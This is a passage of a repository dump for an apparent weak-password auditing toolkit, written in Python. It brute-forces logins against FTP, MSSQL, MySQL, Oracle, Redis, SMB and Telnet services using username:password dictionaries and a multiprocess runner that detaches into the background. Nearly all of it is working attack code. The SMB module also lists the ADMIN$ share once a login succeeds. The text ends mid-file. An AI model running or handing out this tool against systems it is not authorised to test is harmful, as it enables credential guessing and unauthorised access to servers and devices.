├── BruteRunner.py ├── BruteThread.py ├── FtpBrute.py ├── MssqlBrute.py ├── MssqlBruteScan.py ├── MysqlBrute.py ├── OracleBrute.py ├── README.md ├── RedisBrute.py ├── SmbBrute.py ├── TelnetBrute.py ├── dictionaries ├── README ├── ftp_userpasswd.txt ├── mssql_userpasswd.txt ├── mysql_userpasswd.txt ├── netdevice_userpasswd.txt ├── oracle_userpasswd.txt ├── redis_userpasswd.txt ├── smb_userpasswd.txt └── telnet_userpasswd.txt ├── impacket └── modified │ └── nmb.py ├── itelnet.py └── xutils.py /BruteRunner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | import os 5 | import random 6 | import logging 7 | import time 8 | 9 | import xutils 10 | from BruteThread import BruteWorker 11 | 12 | #ds: DataStorage 13 | class BruteRunner(BruteWorker): 14 | def __init__(self, ds): 15 | BruteWorker.__init__(self, ds) 16 | 17 | def workerRun(self, args): 18 | tester = args['constructor'](args['userdict'], args['passwords']) 19 | if args['id']<3 or args['id']>args['nworker']-2: 20 | logging.getLogger().info('BruteRunner: pid=%d thread=%d started' 21 | % (os.getpid(),args['id'])) 22 | taskcount = 0 23 | while not args['quit'](): 24 | try: 25 | task = args['fetch'](timeout=3) 26 | if task is None: 27 | continue 28 | taskcount += 1 29 | 30 | rs = tester.test(task) 31 | if rs: 32 | args['save'](rs) 33 | except Exception as e: 34 | logging.getLogger().warn('BruteRunner: pid=%d thread=%d %s' % (os.getpid(),args['id'], str(e))) 35 | 36 | if args['id']<3 or args['id']>args['nworker']-2: 37 | logging.getLogger().info('BruteRunner: pid=%d thread=%d tasks=%d finished' 38 | % (os.getpid(),args['id'],taskcount)) 39 | 40 | 41 | class BruteStorage: 42 | def __init__(self, ds): 43 | #ds object has a member call Save who saves data to file or database... 44 | self.ds = ds 45 | 46 | def close(self): 47 | #TODO: 48 | #close files, database connections, ... 49 | pass 50 | 51 | def getTargets(self): 52 | #TODO: 53 | #you can load targets from file, or database, wherever you like... 54 | data = [('1.1.1.1',23), 55 | ('2.2.2.2',23), 56 | ('3.3.3.3',445), 57 | ('192.168.1.1',445),] 58 | return data 59 | 60 | def escape(self, s): 61 | chars = ['\\','\'','\"'] 62 | for c in chars: 63 | s = s.replace(c,'\\'+c) 64 | return s 65 | 66 | def saveResult(self, rs): 67 | if not rs: 68 | return 69 | #[(ip,port,service,username,password,output),] 70 | now = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) 71 | for r in rs: 72 | d = [ 73 | r[0], #ip 74 | str(r[1]), #port 75 | r[2], #service 76 | r[3], #username 77 | self.escape(r[4]), #password 78 | self.escape(r[5]), #output 79 | now,# timestamp 80 | ] 81 | #TODO: 82 | #call self.ds.Save To save results to file, or save to database, ... 83 | self.ds.Save(d) 84 | 85 | 86 | class Bruter: 87 | def __init__(self, constructor): 88 | self.constructor = constructor 89 | self.targets = None 90 | self.userdict = None 91 | self.pid = 0 92 | 93 | def loadUserDict(self, fpath): 94 | userdict = dict() 95 | try: 96 | for ln in open(fpath): 97 | fs = ln.strip().split(':',1) 98 | if len(fs)!=2: 99 | continue 100 | username = fs[0] 101 | password = fs[1] 102 | if username not in userdict: 103 | userdict[username] = set() 104 | userdict[username].add(password) 105 | except Exception as e: 106 | pass 107 | return userdict 108 | 109 | #config holds some key parameters for program, like database config, file path ... 110 | def prepare(self, config): 111 | retval = True 112 | logging.getLogger().info('Bruter.prepare: begin.') 113 | 114 | #TODO: Please implement your DataBaseStorage 115 | ### TO BE COMPLETED ### 116 | dbs = DataBaseStorage(config) 117 | store = BruteStorage(dbs) 118 | 119 | userdict = self.loadUserDict(config['userdict']) 120 | self.userdict = userdict 121 | self.passwords = set() 122 | for u in userdict: 123 | self.passwords |= userdict[u] 124 | 125 | self.targets = store.getTargets() 126 | 127 | if len(self.userdict)==0 or len(self.targets)==0: 128 | logging.getLogger().warn('Bruter.prepare: %d userdict, %d targets. end.' % (len(self.userdict), len(self.targets))) 129 | retval = False 130 | 131 | logging.getLogger().info('Bruter.prepare: %d userdict, %d targets. ready.' % (len(self.userdict), len(self.targets))) 132 | 133 | ##because we are using Multi Processing, so we must close DataStorage before contiue. 134 | dbs.close() 135 | return retval 136 | 137 | def fork(self,nprocess): 138 | idx = 0 139 | if nprocess>=1: 140 | idx = -1 141 | for i in range(nprocess): 142 | pid = os.fork() 143 | if pid == 0: #child 144 | idx = i 145 | #going to background 146 | os.chdir('/') 147 | os.setsid() 148 | os.umask(0) 149 | break 150 | else: #parent 151 | continue 152 | if pid != 0: #parent 153 | logging.getLogger().info('Bruter.fork: fork done.') 154 | idx = -1 155 | return idx 156 | 157 | def start(self, config): 158 | if not self.prepare(config): 159 | return 160 | 161 | #multiprocessing 162 | nprocess = int(config['processes']) 163 | idx = self.fork(nprocess) 164 | xutils.closeLogger() 165 | if idx==-1: #parent 166 | return 167 | 168 | self.pid = os.getpid() 169 | 170 | self.logger = xutils.initLogger(config['logfile']) 171 | num = len(self.targets)/nprocess 172 | if num*nprocess0: 195 | time.sleep(5) 196 | taskleft = bruter.getTaskCount() 197 | bruter.signal() 198 | time.sleep(5) 199 | bruter.stop(60) 200 | store.close() 201 | dbs.close() 202 | logging.getLogger().info('Bruter.start: pid:%d, runtime:%.2fS. done.' 203 | % (self.pid, time.time()-starttime)) 204 | 205 | if __name__=='__main__': 206 | pass 207 | -------------------------------------------------------------------------------- /BruteThread.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | import os 5 | import logging 6 | import threading 7 | import time 8 | from Queue import Queue,Empty 9 | 10 | class BruteWorker: 11 | 12 | def workerRun(self, args): 13 | return True 14 | 15 | def __init__(self, ds): 16 | self.done = False 17 | self.workers = [] 18 | self.queue = Queue() 19 | self.ds = ds 20 | self.lock = threading.RLock() 21 | self.pid = os.getpid() 22 | 23 | def start(self, n, kargs={}): 24 | logging.getLogger().info('Scanner.start:#%d, %d threads' % (self.pid, n)) 25 | self.startWorkers(n, kargs) 26 | 27 | def getQuit(self): 28 | return self.done 29 | 30 | def putTask(self, task): 31 | self.queue.put(task) 32 | return True 33 | 34 | def getTask(self, timeout = 3): 35 | try: 36 | return self.queue.get(True, timeout) 37 | except Empty: 38 | return None 39 | 40 | def getTaskCount(self): 41 | return self.queue.qsize() 42 | 43 | def signal(self): 44 | self.done = True 45 | #logging.getLogger().info('Scanner.signal:#%d, ok.'% (self.pid)) 46 | 47 | def stop(self, timeout=60.0): 48 | logging.getLogger().info('Scanner.stop:#%d, begin.'% (self.pid)) 49 | self.done = True 50 | done = 0 51 | endtime = time.time() + timeout 52 | nworker = len(self.workers) 53 | while done'%(username, password, self.addr[0], self.addr[1])) 24 | banner = ftp.getwelcome() 25 | ftp.close() 26 | except Exception as e: 27 | if not conn_ok: 28 | logging.getLogger().info('ECON:1 %s:%d X' % (self.addr[0], self.addr[1])) 29 | pass 30 | del ftp 31 | return conn_ok, auth_ok, banner 32 | 33 | 34 | class FtpBruteTester: 35 | def __init__(self, userdict, passwords=None): 36 | self.userdict = userdict 37 | pass 38 | 39 | def test(self, task): 40 | (host,port) = (task[0],task[1]) 41 | rs = [] 42 | auth = FtpAuth( (host,port) ) 43 | for username in self.userdict: 44 | for password in self.userdict[username]: 45 | conn_ok, auth_ok, banner = auth.login(username, password) 46 | if not conn_ok: 47 | return rs 48 | if not auth_ok: 49 | continue 50 | rs.append([host, port, 'FTP', username, password, encode_utf8(banner)]) 51 | break 52 | if not rs: 53 | logging.getLogger().info('SAFE %s:%d'%(host, port)) 54 | return rs 55 | 56 | if __name__=='__main__': 57 | import sys 58 | import xutils 59 | host,port = sys.argv[1],int(sys.argv[2]) 60 | 61 | userdict = dict() 62 | for ln in open(sys.argv[3]): 63 | fs = ln.strip().split(':',1) 64 | if len(fs)!=2: 65 | continue 66 | username = fs[0] 67 | password = fs[1] 68 | if username not in userdict: 69 | userdict[username] = set() 70 | userdict[username].add(password) 71 | logger = xutils.initLogger(sys.argv[4]) 72 | tester = FtpBruteTester(userdict) 73 | rs = tester.test( (host,port) ) 74 | print rs 75 | -------------------------------------------------------------------------------- /MssqlBrute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | import pymssql 5 | import logging 6 | from xutils import encode_utf8 7 | 8 | LOGIN_TIMEOUT = 12 9 | 10 | class MssqlAuth: 11 | def __init__(self, (host,port)): 12 | self.addr = (host, port) 13 | 14 | def login(self, username, password, timeout=LOGIN_TIMEOUT): 15 | conn_ok, auth_ok, banner = False, False, '' 16 | connection = None 17 | try: 18 | connection = pymssql.connect(server=self.addr[0],port=self.addr[1], 19 | user=username,password=password, 20 | database='master',login_timeout=LOGIN_TIMEOUT) 21 | conn_ok = True 22 | auth_ok = True 23 | cursor = connection.cursor() 24 | cursor.execute('SELECT @@VERSION') 25 | row = cursor.fetchone() 26 | banner = str(row[0]) 27 | cursor.close() 28 | logging.getLogger().warn('FOUND %s:%s@%s:%d'%(username, password, self.addr[0], self.addr[1])) 29 | except Exception as e: 30 | es = str(e) 31 | #message 20002 -> auth failed 32 | #message 20009 -> connection refused 33 | #message 18456 -> auth failed 34 | if es.find('message 20009')>=0: 35 | logging.getLogger().info('ECON:1 %s:%d X' % (self.addr[0], self.addr[1])) 36 | elif es.find('message 20002')>=0 or es.find('message 18456')>=0: 37 | conn_ok = True 38 | else: 39 | conn_ok = True 40 | logging.getLogger().info('ERR:1 %s:%d %s' % (self.addr[0], self.addr[1], es)) 41 | if connection: 42 | connection.close() 43 | del connection 44 | return conn_ok, auth_ok, banner 45 | 46 | 47 | class MssqlBruteTester: 48 | def __init__(self, userdict, passwords=None): 49 | self.userdict = userdict 50 | pass 51 | 52 | def test(self, task): 53 | (host,port) = (task[0],task[1]) 54 | rs = [] 55 | auth = MssqlAuth( (host, port) ) 56 | for username in self.userdict: 57 | for password in self.userdict[username]: 58 | conn_ok, auth_ok, banner = auth.login(username, password) 59 | if not conn_ok: 60 | return rs 61 | if not auth_ok: 62 | continue 63 | rs.append([host, port, 'MSSQL', username, password, encode_utf8(banner)]) 64 | break 65 | if not rs: 66 | logging.getLogger().info('SAFE %s:%d'%(host, port)) 67 | return rs 68 | 69 | 70 | if __name__=='__main__': 71 | import sys 72 | import xutils 73 | host,port = sys.argv[1],int(sys.argv[2]) 74 | 75 | userdict = dict() 76 | for ln in open(sys.argv[3]): 77 | fs = ln.strip().split(':',1) 78 | if len(fs)!=2: 79 | continue 80 | username = fs[0] 81 | password = fs[1] 82 | if username not in userdict: 83 | userdict[username] = set() 84 | userdict[username].add(password) 85 | logger = xutils.initLogger(sys.argv[4]) 86 | tester = MssqlBruteTester(userdict) 87 | rs = tester.test( (host,port) ) 88 | print rs 89 | 90 | -------------------------------------------------------------------------------- /MssqlBruteScan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | import os 5 | import sys 6 | import time 7 | import xutils 8 | from optparse import OptionParser 9 | from BruteRunner import Bruter 10 | from MssqlBrute import MssqlBruteTester 11 | 12 | def main(): 13 | options = OptionParser(usage='%prog [options]', description='BruteScanRun.py') 14 | options.add_option('-l', '--logfile', type='string', default='BruteScanRun.log', help='log file path') 15 | options.add_option('-c', '--config', type='string', default='', help='config file path') 16 | 17 | opts, args = options.parse_args() 18 | try: 19 | logger = xutils.initLogger(opts.logfile) 20 | if not os.path.isfile(opts.config): 21 | logger.error('config file {%s} is missing. bye!' % (opts.config) ) 22 | return 1 23 | #TODO: 24 | #Please implement your loadConfig 25 | wcfg = loadConfig(opts.config) 26 | config = {'threads':wcfg['THREADS'], 'userdict':wcfg['DICTFILE'], 27 | 'proto':wcfg['PROTO'].lower(), 28 | 'ports':ports, 'maxruntime':int(wcfg['MAXTIME']), 29 | 'processes':wcfg['PROCESSES'], 'logfile':opts.logfile, } 30 | bruter = Bruter(MssqlBruteTester) 31 | bruter.start(config) 32 | except Exception as e: 33 | sys.stderr.write('EXCEPTION: %s, pid: %d, exit.\n'%(str(e), os.getpid())) 34 | 35 | if __name__ == '__main__': 36 | main() 37 | 38 | -------------------------------------------------------------------------------- /MysqlBrute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | import MySQLdb 5 | import logging 6 | from xutils import encode_utf8 7 | 8 | LOGIN_TIMEOUT = 12 9 | 10 | class MysqlAuth: 11 | def __init__(self, (host,port)): 12 | self.addr = (host, port) 13 | 14 | def login(self, username, password, timeout=LOGIN_TIMEOUT): 15 | conn_ok, auth_ok, anonymous, banner = False, False, False, '' 16 | connection = None 17 | try: 18 | connection = MySQLdb.connect(host=self.addr[0],port=self.addr[1], 19 | user=username,passwd=password, 20 | db='mysql',connect_timeout=LOGIN_TIMEOUT) 21 | conn_ok = True 22 | auth_ok = True 23 | anonymous = False 24 | cursor = connection.cursor() 25 | cursor.execute('SELECT @@VERSION') 26 | row = cursor.fetchone() 27 | banner = str(row[0]) 28 | 29 | cursor.execute('SELECT CURRENT_USER()') 30 | row = cursor.fetchone() 31 | 32 | if str(row[0])[0]=='@': 33 | anonymous = True 34 | else: 35 | logging.getLogger().warn('FOUND %s:%s@%s:%d'%(username, password, self.addr[0], self.addr[1])) 36 | cursor.close() 37 | 38 | except Exception as e: 39 | es = str(e) 40 | msg = es[0:6].strip('(').strip(')').strip(',') 41 | #Error: 1044 SQLSTATE: 42000 (ER_DBACCESS_DENIED_ERROR) 42 | #Error: 1045 SQLSTATE: 28000 (ER_ACCESS_DENIED_ERROR) 43 | #if es.find('(1045,')>=0 or es.find('(1044,')>=0: 44 | if msg=='1044' or msg=='1045': 45 | conn_ok = True 46 | else: 47 | logging.getLogger().info('ECON:1 %s:%d X %s' % (self.addr[0], self.addr[1], msg)) 48 | if connection: 49 | connection.close() 50 | del connection 51 | return conn_ok, auth_ok, anonymous, banner 52 | 53 | 54 | class MysqlBruteTester: 55 | def __init__(self, userdict, passwords=None): 56 | self.userdict = userdict 57 | pass 58 | 59 | def test(self, task): 60 | (host,port) = (task[0],task[1]) 61 | rs = [] 62 | auth = MysqlAuth( (host, port) ) 63 | anony = False 64 | for username in self.userdict: 65 | for password in self.userdict[username]: 66 | conn_ok, auth_ok, anonymous, banner = auth.login(username, password) 67 | if not conn_ok: 68 | return rs 69 | if not auth_ok: 70 | continue 71 | if anonymous: 72 | if not anony: 73 | anony = True 74 | logging.getLogger().warn('FOUND anonymous@%s:%d'%(host, port)) 75 | rs.append([host, port, 'MYSQL', '', '', encode_utf8(banner)]) 76 | continue 77 | rs.append([host, port, 'MYSQL', username, password, encode_utf8(banner)]) 78 | break 79 | if not rs: 80 | logging.getLogger().info('SAFE %s:%d'%(host, port)) 81 | return rs 82 | 83 | if __name__=='__main__': 84 | import sys 85 | import xutils 86 | host,port = sys.argv[1],int(sys.argv[2]) 87 | 88 | userdict = dict() 89 | for ln in open(sys.argv[3]): 90 | fs = ln.strip().split(':',1) 91 | if len(fs)!=2: 92 | continue 93 | username = fs[0] 94 | password = fs[1] 95 | if username not in userdict: 96 | userdict[username] = set() 97 | userdict[username].add(password) 98 | logger = xutils.initLogger(sys.argv[4]) 99 | tester = MysqlBruteTester(userdict) 100 | rs = tester.test( (host,port) ) 101 | print rs 102 | -------------------------------------------------------------------------------- /OracleBrute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | import cx_Oracle 5 | import logging 6 | from xutils import encode_utf8 7 | 8 | LOGIN_TIMEOUT = 12 9 | 10 | class OracleAuth: 11 | def __init__(self, (host,port)): 12 | self.addr = (host, port) 13 | 14 | def login(self, username, password, timeout=LOGIN_TIMEOUT): 15 | conn_ok, auth_ok, user_ok, banner = False, False, True, '' 16 | connection = None 17 | inst = 'orcl' 18 | try: 19 | connstr = '%s/%s@%s/%s' % (username,password,self.addr[0],inst) 20 | if username.lower()=='sys': 21 | connection = cx_Oracle.connect(connstr,mode=cx_Oracle.SYSDBA) 22 | else: 23 | connection = cx_Oracle.connect(connstr) 24 | conn_ok = True 25 | auth_ok = True 26 | banner = str(connection.version) 27 | logging.getLogger().warn('FOUND %s:%s@%s:%d'%(username, password, self.addr[0], self.addr[1])) 28 | except Exception as e: 29 | es = str(e).strip() 30 | auth_ok = False 31 | if es.find(' timeout ')>=0 or es.find('lost contact')>=0 or es.find('connection closed')>=0: 32 | conn_ok = False 33 | elif es.find('ORA-12514:')>=0 or es.find('ORA-12154')>=0: #ORA-12514: sid is unknown 34 | conn_ok = False 35 | elif es.find('ORA-01017:')>=0: #ORA-01017 -> invalid user/password 36 | conn_ok = True 37 | elif es.find('ORA-28000:')>=0: #user locked 38 | conn_ok = True 39 | user_ok = False 40 | logging.getLogger().warn('LOCKED %s:%s@%s:%d'%(username, password, self.addr[0], self.addr[1])) 41 | elif es.find('ORA-28001:')>=0: #password expired 42 | conn_ok = True 43 | auth_ok = True 44 | logging.getLogger().warn('FOUND %s:%s@%s:%d'%(username, password, self.addr[0], self.addr[1])) 45 | else: 46 | conn_ok = False 47 | logging.getLogger().info('ECON:1 %s:%d X %s' % (self.addr[0], self.addr[1], es)) 48 | if connection: 49 | connection.close() 50 | del connection 51 | return conn_ok, auth_ok, user_ok, banner 52 | 53 | 54 | class OracleBruteTester: 55 | def __init__(self, userdict, passwords=None): 56 | self.userdict = userdict 57 | pass 58 | 59 | def test(self, task): 60 | (host,port) = (task[0],task[1]) 61 | rs = [] 62 | auth = OracleAuth( (host, port) ) 63 | 64 | for username in self.userdict: 65 | for password in self.userdict[username]: 66 | conn_ok, auth_ok, user_ok, banner = auth.login(username, password) 67 | if not conn_ok: 68 | return rs 69 | if not user_ok: 70 | break 71 | if not auth_ok: 72 | continue 73 | rs.append([host, port, 'ORACLE', username, password, encode_utf8(banner)]) 74 | break 75 | if not rs: 76 | logging.getLogger().info('SAFE %s:%d'%(host, port)) 77 | return rs 78 | 79 | if __name__=='__main__': 80 | import sys 81 | import xutils 82 | host,port = sys.argv[1],int(sys.argv[2]) 83 | 84 | userdict = dict() 85 | for ln in open(sys.argv[3]): 86 | fs = ln.strip().split(':',1) 87 | if len(fs)!=2: 88 | continue 89 | username = fs[0] 90 | password = fs[1] 91 | if username not in userdict: 92 | userdict[username] = set() 93 | userdict[username].add(password) 94 | logger = xutils.initLogger(sys.argv[4]) 95 | tester = OracleBruteTester(userdict) 96 | rs = tester.test( (host,port) ) 97 | print rs 98 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PyWeakPwdAudit 2 | -------------------------------------------------------------------------------- /RedisBrute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | # please see: https://pypi.python.org/pypi/redis/ 4 | import redis 5 | import logging 6 | from xapps.xapp import encode_utf8 7 | 8 | LOGIN_TIMEOUT = 12 9 | 10 | class RedisAuth: 11 | def __init__(self, (host,port)): 12 | self.addr = (host, port) 13 | 14 | #redis don't need an username,just a password called AUTH 15 | def login(self, username='', password='', timeout=LOGIN_TIMEOUT): 16 | conn_ok, auth_ok, banner = False, False, '' 17 | connection = None 18 | try: 19 | connection = redis.StrictRedis(host=self.addr[0],port=self.addr[1], 20 | password=password, 21 | db=0,socket_connect_timeout=LOGIN_TIMEOUT) 22 | conn_ok = True 23 | auth_ok = True 24 | info = connection.info() 25 | banner = str(info) 26 | logging.getLogger().warn('FOUND %s:%s@%s:%d'%(username, password, self.addr[0], self.addr[1])) 27 | except Exception as e: 28 | es = str(e) 29 | if es.find('Password')>=0: 30 | conn_ok = True 31 | else: 32 | conn_ok = False 33 | logging.getLogger().info('ERR:1 %s:%d %s' % (self.addr[0], self.addr[1], es)) 34 | del connection 35 | return conn_ok, auth_ok, banner 36 | 37 | 38 | class RedisBruteTester: 39 | def __init__(self, userdict, passwords=None): 40 | self.userdict = userdict 41 | pass 42 | 43 | def test(self, task): 44 | (host,port) = (task[0],task[1]) 45 | rs = [] 46 | auth = RedisAuth( (host, port) ) 47 | for username in self.userdict: 48 | for password in self.userdict[username]: 49 | conn_ok, auth_ok, banner = auth.login(username, password) 50 | if not conn_ok: 51 | return rs 52 | if not auth_ok: 53 | continue 54 | rs.append([host, port, 'REDIS', username, password, encode_utf8(banner)]) 55 | break 56 | if not rs: 57 | logging.getLogger().info('SAFE %s:%d'%(host, port)) 58 | return rs 59 | 60 | 61 | if __name__=='__main__': 62 | import sys 63 | import xutils 64 | host,port = sys.argv[1],int(sys.argv[2]) 65 | 66 | userdict = dict() 67 | for ln in open(sys.argv[3]): 68 | fs = ln.strip().split(':',1) 69 | if len(fs)!=2: 70 | continue 71 | username = fs[0] 72 | password = fs[1] 73 | if username not in userdict: 74 | userdict[username] = set() 75 | userdict[username].add(password) 76 | logger = xutils.initLogger(sys.argv[4]) 77 | tester = RedisBruteTester(userdict) 78 | rs = tester.test( (host,port) ) 79 | print rs 80 | 81 | -------------------------------------------------------------------------------- /SmbBrute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | import os 5 | import cmd 6 | import time 7 | import ntpath 8 | import binascii 9 | import logging 10 | from xutils import encode_utf8 11 | from impacket.nmb import SMB_SESSION_PORT,NETBIOS_SESSION_PORT 12 | from impacket.smbconnection import * 13 | 14 | SMB_TIMEOUT = 8 15 | 16 | class SmbAuth: 17 | def __init__(self, (host, port)): 18 | self.addr = (host, port) 19 | 20 | def run(self): 21 | return self.login() 22 | 23 | def geterr(self,es): 24 | idx1 = es.find('STATUS_') 25 | if idx1==-1: 26 | return es 27 | idx2 = es.find('(',idx1) 28 | return es[idx1:idx2] 29 | 30 | def login(self, username, password): 31 | smbConnection = None 32 | conn_ok = False 33 | auth_ok = False 34 | user_ok = True 35 | banner = None 36 | try: 37 | if self.addr[1]==SMB_SESSION_PORT: 38 | smbConnection = SMBConnection(remoteName=self.addr[0], remoteHost=self.addr[0], sess_port=SMB_SESSION_PORT, timeout=SMB_TIMEOUT) 39 | elif self.addr[1]==NETBIOS_SESSION_PORT: 40 | smbConnection = SMBConnection(remoteName='*SMBSERVER', remoteHost=self.addr[0], sess_port=NETBIOS_SESSION_PORT, timeout=SMB_TIMEOUT) 41 | else: 42 | return conn_ok,user_ok,auth_ok,banner 43 | except Exception as e: 44 | logging.getLogger().info( 'ECON:1 %s:%s X' % (self.addr[0], self.addr[1]) ) 45 | return conn_ok,user_ok,auth_ok,banner 46 | 47 | conn_ok = True 48 | try: 49 | smbConnection.login(username, password, '', '', '') 50 | isGuest = smbConnection.isGuestSession() 51 | tid = smbConnection.connectTree('ADMIN$') 52 | pwd = ntpath.join('\\','*') 53 | pwd = string.replace(pwd,'/','\\') 54 | pwd = ntpath.normpath(pwd) 55 | files = smbConnection.listPath('ADMIN$', pwd) 56 | banner = '' 57 | for f in files[0:10]: 58 | banner+='%crw-rw-rw- %10d %s %s\n' % ( 59 | 'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())),f.get_longname()) 60 | if not isGuest: 61 | auth_ok = True 62 | logging.getLogger().warn('FOUND: %s:%s @%s:%d' %(username, password, self.addr[0],self.addr[1])) 63 | except Exception as e: 64 | es = str(e) 65 | #logging.getLogger().info('ERRX:%s %s:%s @%s'%(es, username, password, self.addr[0])) 66 | if es.find('PASSWORD_EXPIRED')>=0: 67 | auth_ok = True 68 | banner = '' 69 | logging.getLogger().warn( 'FOUND: %s:%s @%s:%d' % (username, password, self.addr[0], self.addr[1]) ) 70 | elif es.find('ACCOUNT_DISABLED')>=0 or es.find('ACCOUNT_LOCKED')>=0 or es.find('LOGON_TYPE')>=0 \ 71 | or es.find('NO_LOGON_SERVERS')>=0 or es.find('NETLOGON_NOT_STARTED')>=0 or es.find('TRUSTED_RELATIONSHIP')>=0\ 72 | or es.find('ACCESS_DENIED')>=0: 73 | #logging.getLogger().info('ERR:2 %s:%s @%s:%d [%s]'%(username, password, self.addr[0], self.addr[1], self.geterr(es))) 74 | user_ok = False 75 | elif es.find('WRONG_PASSWORD')>=0 or es.find('LOGON_FAILURE')>=0: 76 | pass 77 | else: 78 | logging.getLogger().info('ERR:3 %s:%s @%s:%d [%s]'%(username, '*' , self.addr[0], self.addr[1], self.geterr(es))) 79 | raise#for test 80 | finally: 81 | try: 82 | smbConnection.close() 83 | except: 84 | pass 85 | del smbConnection 86 | return conn_ok,user_ok,auth_ok,banner 87 | 88 | 89 | class SmbBruteTester: 90 | def __init__(self, userdict, passwords = None): 91 | self.userdict = userdict 92 | pass 93 | 94 | def test(self, task): 95 | (host,port) = (task[0],task[1]) 96 | rs = [] 97 | auth = SmbAuth( (host,port) ) 98 | for username in self.userdict: 99 | for password in self.userdict[username]: 100 | conn_ok,user_ok,auth_ok,banner = auth.login(username, password) 101 | if not conn_ok: 102 | return rs 103 | if not user_ok: 104 | break # next user 105 | if not auth_ok: 106 | continue 107 | rs.append([host, port, 'SMB', username, password, encode_utf8(banner) if banner else '']) 108 | break 109 | if not rs: 110 | logging.getLogger().info('SAFE %s:%d'%(host, port)) 111 | return rs 112 | 113 | 114 | if __name__=='__main__': 115 | import sys 116 | import xutils 117 | host,port = sys.argv[1],int(sys.argv[2]) 118 | 119 | userdict = dict() 120 | for ln in open(sys.argv[3]): 121 | fs = ln.strip().split(':',1) 122 | if len(fs)!=2: 123 | continue 124 | username = fs[0] 125 | password = fs[1] 126 | if username not in userdict: 127 | userdict[username] = set() 128 | userdict[username].add(password) 129 | logger = xutils.initLogger(sys.argv[4]) 130 | tester = SmbBruteTester(userdict) 131 | rs = tester.test( (host,port) ) 132 | print rs 133 | 134 | -------------------------------------------------------------------------------- /TelnetBrute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | import re 5 | import itelnet 6 | import logging 7 | from xutils import encode_utf8 8 | 9 | TELNET_CONN_TIMEOUT = 6.0 10 | TELNET_USER_TIMEOUT = 6.0 11 | TELNET_AUTH_TIMEOUT = 12.0 12 | 13 | class TelnetAuth: 14 | def __init__(self, (host,port)): 15 | self.addr = (host, port) 16 | 17 | def login(self, username, password, timeout=TELNET_CONN_TIMEOUT): 18 | conn_ok, auth_ok, username_ok, no_username, no_password, banner = False,False,False, False, False, '' 19 | connection = None 20 | try: 21 | connection = itelnet.Telnet(self.addr[0], self.addr[1], timeout = timeout) 22 | text = connection.read_some(timeout=TELNET_USER_TIMEOUT) 23 | ftype,banner = connection.parse_banner(text) 24 | if ftype=='SHELL' or ftype=='LOGOK': 25 | conn_ok,auth_ok,username_ok,no_username,no_password= True,True,True,True,True 26 | logging.getLogger().warn('FOUND:1 %s:%d %r' % (self.addr[0], self.addr[1], banner)) 27 | elif ftype=='IGNORE' or ftype=='OTHER': 28 | logging.getLogger().info('IGNORE:2 %s:%d [EOF:%s] %r' % (self.addr[0], self.addr[1], str(connection.iseof()), banner)) 29 | elif ftype=='LOGIN': 30 | conn_ok = True 31 | elif ftype=='PASSWORD': 32 | conn_ok = True 33 | no_username = True 34 | username_ok = True 35 | logging.getLogger().info('NOUSER:3 %s:%d' % (self.addr[0], self.addr[1])) 36 | except: 37 | logging.getLogger().info('ECON:4 %s:%d X' % (self.addr[0], self.addr[1])) 38 | if not conn_ok or connection.iseof() or auth_ok: 39 | if connection: 40 | connection.close() 41 | return conn_ok, auth_ok, username_ok, no_username, no_password, banner 42 | 43 | #need username 44 | if not no_username: 45 | try: 46 | connection.write(username+'\r\n') 47 | text = connection.read_some(timeout=TELNET_USER_TIMEOUT) 48 | ftype, banner = connection.parse_auth(text) 49 | if ftype=='PASSWORD': 50 | username_ok = True 51 | elif ftype=='SHELL' or ftype=='LOGOK': 52 | username_ok = True 53 | auth_ok = True 54 | no_password = True 55 | logging.getLogger().warn('FOUND:5 %s: %s:%d %r' % (username, self.addr[0], self.addr[1], banner)) 56 | elif ftype=='OTHER': 57 | if banner.strip()==username: 58 | username_ok = True 59 | else: 60 | conn_ok = False 61 | logging.getLogger().info('IGNORE:6 %s:%d %r' % (self.addr[0], self.addr[1], banner)) 62 | else:#LOGIN 63 | username_ok = False 64 | logging.getLogger().info('EUSER:7 %s:%d USER:%s %r' % (self.addr[0], self.addr[1], username, banner)) 65 | except Exception as e: 66 | conn_ok = False 67 | logging.getLogger().info('ECON:8 %s:%d %s' % (self.addr[0], self.addr[1], str(e))) 68 | if not conn_ok or connection.iseof() or not username_ok: 69 | connection.close() 70 | return conn_ok, auth_ok, username_ok, no_username, no_password, banner 71 | 72 | #username_ok 73 | if username_ok: 74 | try: 75 | connection.write(password+'\r\n') 76 | text = connection.read_some(timeout=TELNET_AUTH_TIMEOUT) 77 | ftype,banner = connection.parse_auth(text) 78 | if ftype=='SHELL' or ftype=='LOGOK': 79 | auth_ok = True 80 | logging.getLogger().warn('FOUND:9 %s:%s %s:%d %r' % ('' if no_username else username, password, self.addr[0], self.addr[1], banner)) 81 | elif ftype=='OTHER' and banner.strip() and banner.strip()!=username: 82 | conn_ok = False 83 | logging.getLogger().info('EPSWD:10 %s:%s %s:%d %r' % ('' if no_username else username, password, self.addr[0], self.addr[1], banner)) 84 | elif ftype=='IGNORE': 85 | logging.getLogger().info('IGNORE:11 %s:%d %r' % (self.addr[0], self.addr[1], banner)) 86 | conn_ok = False 87 | else:#LOGIN, FAIL 88 | auth_ok = False 89 | except Exception as e: 90 | conn_ok = False 91 | logging.getLogger().info('ECON:12 %s:%d %s' % (self.addr[0], self.addr[1], str(e))) 92 | 93 | if connection: 94 | connection.close() 95 | del connection 96 | return conn_ok, auth_ok, username_ok, no_username, no_password, banner 97 | 98 | 99 | class TelnetBruteTester: 100 | def __init__(self, userdict, passwords = None): 101 | 